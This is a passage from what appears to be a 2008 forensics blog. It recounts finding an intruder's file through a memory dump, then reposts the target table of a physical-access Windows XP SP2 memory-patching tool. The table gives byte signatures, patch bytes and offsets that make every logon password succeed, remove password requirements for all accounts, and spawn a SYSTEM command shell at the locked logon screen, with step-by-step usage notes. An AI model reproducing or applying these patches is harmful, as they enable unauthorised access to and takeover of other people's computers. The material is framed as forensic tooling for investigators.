Unfortunately, this server was running a lot of "stuff." So I was still left with a lot of files to look at, but after much work, I found a file that looked weird enough to make me think that it was likely tbe bad process. (Oh, and I should point out that there were no logs and the intrusion (we later determined) was months old.)

So how does one go about figuring out what happened when there's an lack of log data? Well, it turns out that when I analyzed the files by date created, and I find a memory.dmp file.

So I spend a bit of time researching the memory dump file format and I was able to find the file that the attacker used (it caused some nastiness at the time it was executed) which in turn led me to find some other information about the attack in unallocated space.

Wednesday, March 5, 2008

I've blogged before about Adam (Metlstorm) Boileau's python script that can be used to extract bios/pgp passwords. This week, he released the script that he designed that allows a Linux box to overwrite the windows log-on password in memory. . . cool stuff if you need physical access to a box.

I have not tested this yet, but it looks good. . . Now I know what I'll be playing with at work tomorrow.

Preemptive comments: "But you're changing the evidence." "But you're modifying the RAM" "But you've got physical access to the box, you could _______." "But if someone doesn't have XP SP2 you are out of luck." "Nobody's done this on Vista."

The code's below because his blog has been slashdotted - Blogger left justifies everything so you are going to have to fix the spacing if you use the code below.

# Targets are dicts, with some properties, and one or more phases# each phase specifies a signature which can be found at one or more# page offsets. When a signature is found the patch is applied at patchoffset# bytes from the beginning of the signature.

targets=[{ "name":"WinXP SP2 Fast User Switching Unlock", "notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.", "phase":[{ "sig":"8BD8F7DB1ADBFEC3", "pageoffset":[2905], "patch":"bb01000000eb0990", "patchoffset":0}] }, {"name":"WinXP SP2 Unlock", "notes":"When run against a locked XPSP2 box with regular non-fast-user-switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.", "phase":[{ "sig":"0502000010", "pageoffset":[3696], "patch":"b801000000", "patchoffset":0}] }, {"name":"WinXP SP2 msv1_0.dll technique", "notes":"Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique.", "phase":[{ "sig":"8BFF558BEC83EC50A1", "pageoffset":[0x927], "patch":"B001", "patchoffset":0xa5}] }, {"name":"WinXP SP2 utilman cmd spawn", "notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation where your shell will be waiting.", "phase":[ {"name":"Patch code", "sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb", "pageoffset":[0x39f], "patch":"565383c310899de8faffffff158810185b898540fbffff9090909090", "patchoffset":0x0}, {"name":"Patch data", "sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100", "pageoffset":[0x9ac, 0x5ac, 0x3ac], "patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000", "patchoffset":0x0, "keepgoing":True, } ] } ]